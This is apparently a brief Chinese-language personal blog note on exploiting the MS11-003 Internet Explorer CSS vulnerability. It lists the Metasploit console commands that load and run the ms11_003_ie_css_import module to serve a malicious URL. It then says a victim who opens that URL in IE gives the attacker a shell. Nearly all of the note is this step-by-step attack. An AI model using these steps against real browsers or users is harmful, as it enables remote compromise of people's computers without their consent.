【笔记】MS11-003漏洞利用

发表于 更新于 阅读次数：

前言

利用MS11-003漏洞实现IE浏览器访问网页时得到Shell权限

攻击者开放Web服务

1
2
3
4
msfconsole
msf > use exploit/windows/browser/ms11_003_ie_css_import
msf exploit(windows/browser/ms11_003_ie_css_import) > show options
msf exploit(windows/browser/ms11_003_ie_css_import) > run
1
Using URL: http://<ip>:<port>/xxxxxxxx

受害者访问Web服务

  • 通过IE浏览器访问http://<ip>:<port>/xxxxxxxx

完成